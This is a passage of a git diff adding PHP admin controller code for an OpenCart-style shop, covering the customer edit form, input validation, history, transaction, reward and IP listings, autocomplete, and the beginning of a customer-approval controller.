+ $data['error_custom_field'] = $this->error['custom_field'];
+ } else {
+ $data['error_custom_field'] = array();
+ }
+
+ if (isset($this->error['address'])) {
+ $data['error_address'] = $this->error['address'];
+ } else {
+ $data['error_address'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['customer_id'])) {
+ $data['action'] = $this->url->link('customer/customer/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['customer_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $customer_info = $this->model_customer_customer->getCustomer($this->request->get['customer_id']);
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['customer_group_id'])) {
+ $data['customer_group_id'] = $this->request->post['customer_group_id'];
+ } elseif (!empty($customer_info)) {
+ $data['customer_group_id'] = $customer_info['customer_group_id'];
+ } else {
+ $data['customer_group_id'] = $this->config->get('config_customer_group_id');
+ }
+
+ if (isset($this->request->post['firstname'])) {
+ $data['firstname'] = $this->request->post['firstname'];
+ } elseif (!empty($customer_info)) {
+ $data['firstname'] = $customer_info['firstname'];
+ } else {
+ $data['firstname'] = '';
+ }
+
+ if (isset($this->request->post['lastname'])) {
+ $data['lastname'] = $this->request->post['lastname'];
+ } elseif (!empty($customer_info)) {
+ $data['lastname'] = $customer_info['lastname'];
+ } else {
+ $data['lastname'] = '';
+ }
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } elseif (!empty($customer_info)) {
+ $data['email'] = $customer_info['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ if (isset($this->request->post['telephone'])) {
+ $data['telephone'] = $this->request->post['telephone'];
+ } elseif (!empty($customer_info)) {
+ $data['telephone'] = $customer_info['telephone'];
+ } else {
+ $data['telephone'] = '';
+ }
+
+ // Custom Fields
+ $this->load->model('customer/custom_field');
+
+ $data['custom_fields'] = array();
+
+ $filter_data = array(
+ 'sort' => 'cf.sort_order',
+ 'order' => 'ASC'
+ );
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields($filter_data);
+
+ foreach ($custom_fields as $custom_field) {
+ $data['custom_fields'][] = array(
+ 'custom_field_id' => $custom_field['custom_field_id'],
+ 'custom_field_value' => $this->model_customer_custom_field->getCustomFieldValues($custom_field['custom_field_id']),
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field['value'],
+ 'type' => $custom_field['type'],
+ 'location' => $custom_field['location'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+
+ if (isset($this->request->post['custom_field'])) {
+ $data['account_custom_field'] = $this->request->post['custom_field'];
+ } elseif (!empty($customer_info)) {
+ $data['account_custom_field'] = json_decode($customer_info['custom_field'], true);
+ } else {
+ $data['account_custom_field'] = array();
+ }
+
+ if (isset($this->request->post['newsletter'])) {
+ $data['newsletter'] = $this->request->post['newsletter'];
+ } elseif (!empty($customer_info)) {
+ $data['newsletter'] = $customer_info['newsletter'];
+ } else {
+ $data['newsletter'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($customer_info)) {
+ $data['status'] = $customer_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['safe'])) {
+ $data['safe'] = $this->request->post['safe'];
+ } elseif (!empty($customer_info)) {
+ $data['safe'] = $customer_info['safe'];
+ } else {
+ $data['safe'] = 0;
+ }
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->post['confirm'])) {
+ $data['confirm'] = $this->request->post['confirm'];
+ } else {
+ $data['confirm'] = '';
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ if (isset($this->request->post['address'])) {
+ $data['addresses'] = $this->request->post['address'];
+ } elseif (isset($this->request->get['customer_id'])) {
+ $data['addresses'] = $this->model_customer_customer->getAddresses($this->request->get['customer_id']);
+ } else {
+ $data['addresses'] = array();
+ }
+
+ if (isset($this->request->post['address_id'])) {
+ $data['address_id'] = $this->request->post['address_id'];
+ } elseif (!empty($customer_info)) {
+ $data['address_id'] = $customer_info['address_id'];
+ } else {
+ $data['address_id'] = '';
+ }
+
+ // Affliate
+ if (isset($this->request->get['customer_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $affiliate_info = $this->model_customer_customer->getAffiliate($this->request->get['customer_id']);
+ }
+
+ if (isset($this->request->post['affiliate'])) {
+ $data['affiliate'] = $this->request->post['affiliate'];
+ } elseif (!empty($affiliate_info)) {
+ $data['affiliate'] = $affiliate_info['status'];
+ } else {
+ $data['affiliate'] = '';
+ }
+
+ if (isset($this->request->post['company'])) {
+ $data['company'] = $this->request->post['company'];
+ } elseif (!empty($affiliate_info)) {
+ $data['company'] = $affiliate_info['company'];
+ } else {
+ $data['company'] = '';
+ }
+
+ if (isset($this->request->post['website'])) {
+ $data['website'] = $this->request->post['website'];
+ } elseif (!empty($affiliate_info)) {
+ $data['website'] = $affiliate_info['website'];
+ } else {
+ $data['website'] = '';
+ }
+
+ if (isset($this->request->post['tracking'])) {
+ $data['tracking'] = $this->request->post['tracking'];
+ } elseif (!empty($affiliate_info)) {
+ $data['tracking'] = $affiliate_info['tracking'];
+ } else {
+ $data['tracking'] = '';
+ }
+
+ if (isset($this->request->post['commission'])) {
+ $data['commission'] = $this->request->post['commission'];
+ } elseif (!empty($affiliate_info)) {
+ $data['commission'] = $affiliate_info['commission'];
+ } else {
+ $data['commission'] = $this->config->get('config_affiliate_commission');
+ }
+
+ if (isset($this->request->post['tax'])) {
+ $data['tax'] = $this->request->post['tax'];
+ } elseif (!empty($affiliate_info)) {
+ $data['tax'] = $affiliate_info['tax'];
+ } else {
+ $data['tax'] = '';
+ }
+
+ if (isset($this->request->post['payment'])) {
+ $data['payment'] = $this->request->post['payment'];
+ } elseif (!empty($affiliate_info)) {
+ $data['payment'] = $affiliate_info['payment'];
+ } else {
+ $data['payment'] = 'cheque';
+ }
+
+ if (isset($this->request->post['cheque'])) {
+ $data['cheque'] = $this->request->post['cheque'];
+ } elseif (!empty($affiliate_info)) {
+ $data['cheque'] = $affiliate_info['cheque'];
+ } else {
+ $data['cheque'] = '';
+ }
+
+ if (isset($this->request->post['paypal'])) {
+ $data['paypal'] = $this->request->post['paypal'];
+ } elseif (!empty($affiliate_info)) {
+ $data['paypal'] = $affiliate_info['paypal'];
+ } else {
+ $data['paypal'] = '';
+ }
+
+ if (isset($this->request->post['bank_name'])) {
+ $data['bank_name'] = $this->request->post['bank_name'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_name'] = $affiliate_info['bank_name'];
+ } else {
+ $data['bank_name'] = '';
+ }
+
+ if (isset($this->request->post['bank_branch_number'])) {
+ $data['bank_branch_number'] = $this->request->post['bank_branch_number'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_branch_number'] = $affiliate_info['bank_branch_number'];
+ } else {
+ $data['bank_branch_number'] = '';
+ }
+
+ if (isset($this->request->post['bank_swift_code'])) {
+ $data['bank_swift_code'] = $this->request->post['bank_swift_code'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_swift_code'] = $affiliate_info['bank_swift_code'];
+ } else {
+ $data['bank_swift_code'] = '';
+ }
+
+ if (isset($this->request->post['bank_account_name'])) {
+ $data['bank_account_name'] = $this->request->post['bank_account_name'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_account_name'] = $affiliate_info['bank_account_name'];
+ } else {
+ $data['bank_account_name'] = '';
+ }
+
+ if (isset($this->request->post['bank_account_number'])) {
+ $data['bank_account_number'] = $this->request->post['bank_account_number'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_account_number'] = $affiliate_info['bank_account_number'];
+ } else {
+ $data['bank_account_number'] = '';
+ }
+
+ if (isset($this->request->post['custom_field'])) {
+ $data['affiliate_custom_field'] = $this->request->post['custom_field'];
+ } elseif (!empty($affiliate_info)) {
+ $data['affiliate_custom_field'] = json_decode($affiliate_info['custom_field'], true);
+ } else {
+ $data['affiliate_custom_field'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['firstname']) < 1) || (utf8_strlen(trim($this->request->post['firstname'])) > 32)) {
+ $this->error['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen($this->request->post['lastname']) < 1) || (utf8_strlen(trim($this->request->post['lastname'])) > 32)) {
+ $this->error['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ $customer_info = $this->model_customer_customer->getCustomerByEmail($this->request->post['email']);
+
+ if (!isset($this->request->get['customer_id'])) {
+ if ($customer_info) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ } else {
+ if ($customer_info && ($this->request->get['customer_id'] != $customer_info['customer_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ }
+
+ if ((utf8_strlen($this->request->post['telephone']) < 3) || (utf8_strlen($this->request->post['telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ // Custom field validation
+ $this->load->model('customer/custom_field');
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields(array('filter_customer_group_id' => $this->request->post['customer_group_id']));
+
+ foreach ($custom_fields as $custom_field) {
+ if (($custom_field['location'] == 'account') && $custom_field['required'] && empty($this->request->post['custom_field'][$custom_field['custom_field_id']])) {
+ $this->error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ } elseif (($custom_field['location'] == 'account') && ($custom_field['type'] == 'text') && !empty($custom_field['validation']) && !filter_var($this->request->post['custom_field'][$custom_field['custom_field_id']], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => $custom_field['validation'])))) {
+ $this->error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ }
+ }
+
+ if ($this->request->post['password'] || (!isset($this->request->get['customer_id']))) {
+ if ((utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) < 4) || (utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) > 40)) {
+ $this->error['password'] = $this->language->get('error_password');
+ }
+
+ if ($this->request->post['password'] != $this->request->post['confirm']) {
+ $this->error['confirm'] = $this->language->get('error_confirm');
+ }
+ }
+
+ if (isset($this->request->post['address'])) {
+ foreach ($this->request->post['address'] as $key => $value) {
+ if ((utf8_strlen($value['firstname']) < 1) || (utf8_strlen($value['firstname']) > 32)) {
+ $this->error['address'][$key]['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen($value['lastname']) < 1) || (utf8_strlen($value['lastname']) > 32)) {
+ $this->error['address'][$key]['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($value['address_1']) < 3) || (utf8_strlen($value['address_1']) > 128)) {
+ $this->error['address'][$key]['address_1'] = $this->language->get('error_address_1');
+ }
+
+ if ((utf8_strlen($value['city']) < 2) || (utf8_strlen($value['city']) > 128)) {
+ $this->error['address'][$key]['city'] = $this->language->get('error_city');
+ }
+
+ $this->load->model('localisation/country');
+
+ $country_info = $this->model_localisation_country->getCountry($value['country_id']);
+
+ if ($country_info && $country_info['postcode_required'] && (utf8_strlen($value['postcode']) < 2 || utf8_strlen($value['postcode']) > 10)) {
+ $this->error['address'][$key]['postcode'] = $this->language->get('error_postcode');
+ }
+
+ if ($value['country_id'] == '') {
+ $this->error['address'][$key]['country'] = $this->language->get('error_country');
+ }
+
+ if (!isset($value['zone_id']) || $value['zone_id'] == '') {
+ $this->error['address'][$key]['zone'] = $this->language->get('error_zone');
+ }
+
+ foreach ($custom_fields as $custom_field) {
+ if (($custom_field['location'] == 'address') && $custom_field['required'] && empty($value['custom_field'][$custom_field['custom_field_id']])) {
+ $this->error['address'][$key]['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ } elseif (($custom_field['location'] == 'address') && ($custom_field['type'] == 'text') && !empty($custom_field['validation']) && !filter_var($value['custom_field'][$custom_field['custom_field_id']], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => $custom_field['validation'])))) {
+ $this->error['address'][$key]['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['affiliate']) {
+ if ($this->request->post['payment'] == 'cheque') {
+ if ($this->request->post['cheque'] == '') {
+ $this->error['cheque'] = $this->language->get('error_cheque');
+ }
+ } elseif ($this->request->post['payment'] == 'paypal') {
+ if ((utf8_strlen($this->request->post['paypal']) > 96) || !filter_var($this->request->post['paypal'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['paypal'] = $this->language->get('error_paypal');
+ }
+ } elseif ($this->request->post['payment'] == 'bank') {
+ if ($this->request->post['bank_account_name'] == '') {
+ $this->error['bank_account_name'] = $this->language->get('error_bank_account_name');
+ }
+
+ if ($this->request->post['bank_account_number'] == '') {
+ $this->error['bank_account_number'] = $this->language->get('error_bank_account_number');
+ }
+ }
+
+ if (!$this->request->post['tracking']) {
+ $this->error['tracking'] = $this->language->get('error_tracking');
+ }
+
+ $affiliate_info = $this->model_customer_customer->getAffliateByTracking($this->request->post['tracking']);
+
+ if (!isset($this->request->get['customer_id'])) {
+ if ($affiliate_info) {
+ $this->error['tracking'] = $this->language->get('error_tracking_exists');
+ }
+ } else {
+ if ($affiliate_info && ($this->request->get['customer_id'] != $affiliate_info['customer_id'])) {
+ $this->error['tracking'] = $this->language->get('error_tracking_exists');
+ }
+ }
+
+ foreach ($custom_fields as $custom_field) {
+ if (($custom_field['location'] == 'affiliate') && $custom_field['required'] && empty($this->request->post['custom_field'][$custom_field['custom_field_id']])) {
+ $this->error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ } elseif (($custom_field['location'] == 'affiliate') && ($custom_field['type'] == 'text') && !empty($custom_field['validation']) && !filter_var($this->request->post['custom_field'][$custom_field['custom_field_id']], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => $custom_field['validation'])))) {
+ $this->error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateUnlock() {
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function login() {
+ if (isset($this->request->get['customer_id'])) {
+ $customer_id = $this->request->get['customer_id'];
+ } else {
+ $customer_id = 0;
+ }
+
+ $this->load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($customer_id);
+
+ if ($customer_info) {
+ // Create token to login with
+ $token = token(64);
+
+ $this->model_customer_customer->editToken($customer_id, $token);
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($store_id);
+
+ if ($store_info) {
+ $this->response->redirect($store_info['url'] . 'index.php?route=account/login&token=' . $token);
+ } else {
+ $this->response->redirect(HTTP_CATALOG . 'index.php?route=account/login&token=' . $token);
+ }
+ } else {
+ $this->load->language('error/not_found');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('error/not_found', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('error/not_found', $data));
+ }
+ }
+
+ public function history() {
+ $this->load->language('customer/customer');
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $limit = $this->config->get('config_limit_admin');
+
+ $data['histories'] = array();
+
+ $results = $this->model_customer_customer->getHistories($this->request->get['customer_id'], ($page - 1) * $limit, $limit);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'comment' => $result['comment'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_customer_customer->getTotalHistories($this->request->get['customer_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = $limit;
+ $pagination->url = $this->url->link('customer/customer/history', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * $limit) + 1 : 0, ((($page - 1) * $limit) > ($history_total - $limit)) ? $history_total : ((($page - 1) * $limit) + $limit), $history_total, ceil($history_total / $limit));
+
+ $this->response->setOutput($this->load->view('customer/customer_history', $data));
+ }
+
+ public function addHistory() {
+ $this->load->language('customer/customer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->addHistory($this->request->get['customer_id'], $this->request->post['comment']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function transaction() {
+ $this->load->language('customer/customer');
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $limit = $this->config->get('config_limit_admin');
+
+ $data['transactions'] = array();
+
+ $results = $this->model_customer_customer->getTransactions($this->request->get['customer_id'], ($page - 1) * $limit, $limit);
+
+ foreach ($results as $result) {
+ $data['transactions'][] = array(
+ 'amount' => $this->currency->format($result['amount'], $this->config->get('config_currency')),
+ 'description' => $result['description'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $data['balance'] = $this->currency->format($this->model_customer_customer->getTransactionTotal($this->request->get['customer_id']), $this->config->get('config_currency'));
+
+ $transaction_total = $this->model_customer_customer->getTotalTransactions($this->request->get['customer_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $transaction_total;
+ $pagination->page = $page;
+ $pagination->limit = $limit;
+ $pagination->url = $this->url->link('customer/customer/transaction', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($transaction_total) ? (($page - 1) * $limit) + 1 : 0, ((($page - 1) * $limit) > ($transaction_total - $limit)) ? $transaction_total : ((($page - 1) * $limit) + $limit), $transaction_total, ceil($transaction_total / $limit));
+
+ $this->response->setOutput($this->load->view('customer/customer_transaction', $data));
+ }
+
+ public function addTransaction() {
+ $this->load->language('customer/customer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->addTransaction($this->request->get['customer_id'], $this->request->post['description'], $this->request->post['amount']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function reward() {
+ $this->load->language('customer/customer');
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $limit = $this->config->get('config_limit_admin');
+
+ $data['rewards'] = array();
+
+ $results = $this->model_customer_customer->getRewards($this->request->get['customer_id'], ($page - 1) * $limit, $limit);
+
+ foreach ($results as $result) {
+ $data['rewards'][] = array(
+ 'points' => $result['points'],
+ 'description' => $result['description'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $data['balance'] = $this->model_customer_customer->getRewardTotal($this->request->get['customer_id']);
+
+ $reward_total = $this->model_customer_customer->getTotalRewards($this->request->get['customer_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $reward_total;
+ $pagination->page = $page;
+ $pagination->limit = $limit;
+ $pagination->url = $this->url->link('customer/customer/reward', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($reward_total) ? (($page - 1) * $limit) + 1 : 0, ((($page - 1) * $limit) > ($reward_total - $limit)) ? $reward_total : ((($page - 1) * $limit) + $limit), $reward_total, ceil($reward_total / $limit));
+
+ $this->response->setOutput($this->load->view('customer/customer_reward', $data));
+ }
+
+ public function addReward() {
+ $this->load->language('customer/customer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->addReward($this->request->get['customer_id'], $this->request->post['description'], $this->request->post['points']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function ip() {
+ $this->load->language('customer/customer');
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $limit = $this->config->get('config_limit_admin');
+
+ $data['ips'] = array();
+
+ $results = $this->model_customer_customer->getIps($this->request->get['customer_id'], ($page - 1) * $limit, $limit);
+
+ foreach ($results as $result) {
+ $data['ips'][] = array(
+ 'ip' => $result['ip'],
+ 'total' => $this->model_customer_customer->getTotalCustomersByIp($result['ip']),
+ 'date_added' => date('d/m/y', strtotime($result['date_added'])),
+ 'filter_ip' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&filter_ip=' . $result['ip'], true)
+ );
+ }
+
+ $ip_total = $this->model_customer_customer->getTotalIps($this->request->get['customer_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $ip_total;
+ $pagination->page = $page;
+ $pagination->limit = $limit;
+ $pagination->url = $this->url->link('customer/customer/ip', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($ip_total) ? (($page - 1) * $limit) + 1 : 0, ((($page - 1) * $limit) > ($ip_total - $limit)) ? $ip_total : ((($page - 1) * $limit) + $limit), $ip_total, ceil($ip_total / $limit));
+
+ $this->response->setOutput($this->load->view('customer/customer_ip', $data));
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name']) || isset($this->request->get['filter_email'])) {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $filter_email = $this->request->get['filter_email'];
+ } else {
+ $filter_email = '';
+ }
+
+ if (isset($this->request->get['filter_affiliate'])) {
+ $filter_affiliate = $this->request->get['filter_affiliate'];
+ } else {
+ $filter_affiliate = '';
+ }
+
+ $this->load->model('customer/customer');
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_email' => $filter_email,
+ 'filter_affiliate' => $filter_affiliate,
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_customer_customer->getCustomers($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'customer_id' => $result['customer_id'],
+ 'customer_group_id' => $result['customer_group_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8')),
+ 'customer_group' => $result['customer_group'],
+ 'firstname' => $result['firstname'],
+ 'lastname' => $result['lastname'],
+ 'email' => $result['email'],
+ 'telephone' => $result['telephone'],
+ 'custom_field' => json_decode($result['custom_field'], true),
+ 'address' => $this->model_customer_customer->getAddresses($result['customer_id'])
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function customfield() {
+ $json = array();
+
+ $this->load->model('customer/custom_field');
+
+ // Customer Group
+ if (isset($this->request->get['customer_group_id'])) {
+ $customer_group_id = $this->request->get['customer_group_id'];
+ } else {
+ $customer_group_id = $this->config->get('config_customer_group_id');
+ }
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields(array('filter_customer_group_id' => $customer_group_id));
+
+ foreach ($custom_fields as $custom_field) {
+ $json[] = array(
+ 'custom_field_id' => $custom_field['custom_field_id'],
+ 'required' => empty($custom_field['required']) || $custom_field['required'] == 0 ? false : true
+ );
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function address() {
+ $json = array();
+
+ if (!empty($this->request->get['address_id'])) {
+ $this->load->model('customer/customer');
+
+ $json = $this->model_customer_customer->getAddress($this->request->get['address_id']);
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/customer/customer_approval.php b/public/admin/controller/customer/customer_approval.php
new file mode 100644
index 0000000..dbd4513
--- /dev/null
+++ b/public/admin/controller/customer/customer_approval.php
@@ -0,0 +1,246 @@
+load->language('customer/customer_approval');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $filter_email = $this->request->get['filter_email'];
+ } else {
+ $filter_email = '';
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $filter_customer_group_id = $this->request->get['filter_customer_group_id'];
+ } else {
+ $filter_customer_group_id = '';
+ }
+
+ if (isset($this->request->get['filter_type'])) {
+ $filter_type = $this->request->get['filter_type'];
+ } else {
+ $filter_type = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
